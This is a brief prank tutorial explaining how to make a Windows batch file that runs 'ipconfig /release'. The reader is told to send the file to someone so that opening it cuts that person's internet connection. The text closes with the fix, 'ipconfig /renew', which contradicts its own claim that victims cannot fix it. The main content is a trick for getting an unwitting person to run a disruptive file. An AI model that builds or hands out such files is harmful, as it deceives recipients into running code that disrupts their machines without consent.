If you want to stop someone’s internet access. Then here is the easy notpad trick.
Step By Step Process:
First open notepad. and copy bellow code and paste. @Echo off Ipconfig /release
Save File as a .bat extension.
send it to someone. when they open file then Their IP address will be lost, and therefore they won’t be able to fix it.
How to Fix:
However, this is VERY easy to fix. Simply type in IPconfig /renew